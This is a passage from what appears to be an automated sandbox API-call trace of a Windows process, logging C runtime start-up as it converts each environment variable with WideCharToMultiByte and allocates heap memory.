¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÈz§\x0e4û\x18", lpUsedDefaultChar=0x0) returned 256 [0058.450] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0058.450] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x431d5b) returned 0x409ec9 [0058.516] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x242ab8) returned 0x80 [0058.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0058.528] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1f) returned 0x241308 [0058.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x241308, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0058.533] GetLastError () returned 0x0 [0058.533] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x8) returned 0x243fb0 [0058.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0058.533] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x36) returned 0x242d68 [0058.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x242d68, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0058.533] GetLastError () returned 0x0 [0058.539] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0xc) returned 0x243fb0 [0058.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0058.539] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x37) returned 0x242da8 [0058.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x242da8, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0058.539] GetLastError () returned 0x0 [0058.539] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x10) returned 0x243fb0 [0058.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0058.539] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3c) returned 0x2358a8 [0058.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x2358a8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0058.539] GetLastError () returned 0x0 [0058.539] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x14) returned 0x243fb0 [0058.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0058.539] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x31) returned 0x242de8 [0058.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x242de8, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0058.540] GetLastError () returned 0x0 [0058.540] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x18) returned 0x243fb0 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0058.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x237d30 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x237d30, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0058.540] GetLastError () returned 0x0 [0058.540] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x1c) returned 0x243fb0 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0058.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x23ce78 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x23ce78, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0058.540] GetLastError () returned 0x0 [0058.540] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x20) returned 0x243fb0 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0058.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x14) returned 0x237d50 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x237d50, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0058.540] GetLastError () returned 0x0 [0058.540] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x24) returned 0x243fb0 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xd) returned 0x240a90 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x240a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0058.540] GetLastError () returned 0x0 [0058.540] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x28) returned 0x243fb0 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0058.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x25) returned 0x23cea8 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x23cea8, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0058.540] GetLastError () returned 0x0 [0058.540] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x2c) returned 0x243fb0 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0058.540] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x39) returned 0x2358f0 [0058.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x2358f0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0058.540] GetLastError () returned 0x0 [0058.540] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x30) returned 0x243fb0 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.541] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x237d70 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x237d70, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0058.541] GetLastError () returned 0x0 [0058.541] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x243fb0, Size=0x34) returned 0x242e28 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0058.541] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x237d90 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x237d90, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0058.541] GetLastError () returned 0x0 [0058.541] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242e28, Size=0x38) returned 0x242e28 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0058.541] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xe) returned 0x240aa8 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x240aa8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0058.541] GetLastError () returned 0x0 [0058.541] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242e28, Size=0x3c) returned 0x242e28 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0058.541] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x69) returned 0x242e70 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x242e70, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0058.541] GetLastError () returned 0x0 [0058.541] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242e28, Size=0x40) returned 0x242e28 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0058.541] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3e) returned 0x235938 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x235938, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0058.541] GetLastError () returned 0x0 [0058.541] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242e28, Size=0x44) returned 0x242ee8 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0058.541] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1b) returned 0x241330 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x241330, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0058.541] GetLastError () returned 0x0 [0058.541] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x48) returned 0x242ee8 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0058.541] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1d) returned 0x241358 [0058.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x241358, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0058.541] GetLastError () returned 0x0 [0058.542] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x4c) returned 0x242ee8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0058.542] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x48) returned 0x2391c8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x2391c8, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0058.542] GetLastError () returned 0x0 [0058.542] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x50) returned 0x242ee8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0058.542] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x237db0 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x237db0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0058.542] GetLastError () returned 0x0 [0058.542] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x54) returned 0x242ee8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0058.542] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x237dd0 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x237dd0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5504", lpUsedDefaultChar=0x0) returned 24 [0058.542] GetLastError () returned 0x0 [0058.542] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x58) returned 0x242ee8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0058.542] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1b) returned 0x241380 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x241380, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0058.542] GetLastError () returned 0x0 [0058.542] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x5c) returned 0x242ee8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0058.542] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x23ced8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x23ced8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0058.542] GetLastError () returned 0x0 [0058.542] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x60) returned 0x242ee8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0058.542] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x29) returned 0x23d600 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x23d600, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0058.542] GetLastError () returned 0x0 [0058.542] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x64) returned 0x242ee8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0058.542] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1e) returned 0x2413a8 [0058.542] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x2413a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0058.543] GetLastError () returned 0x0 [0058.543] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x68) returned 0x242ee8 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0058.543] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x41) returned 0x239218 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x239218, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0058.543] GetLastError () returned 0x0 [0058.543] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x6c) returned 0x242ee8 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0058.543] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x237df0 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x237df0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0058.543] GetLastError () returned 0x0 [0058.543] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x242ee8, Size=0x70) returned 0x242ee8 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0058.543] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xf) returned 0x240ac0 [0058.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x240ac0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) 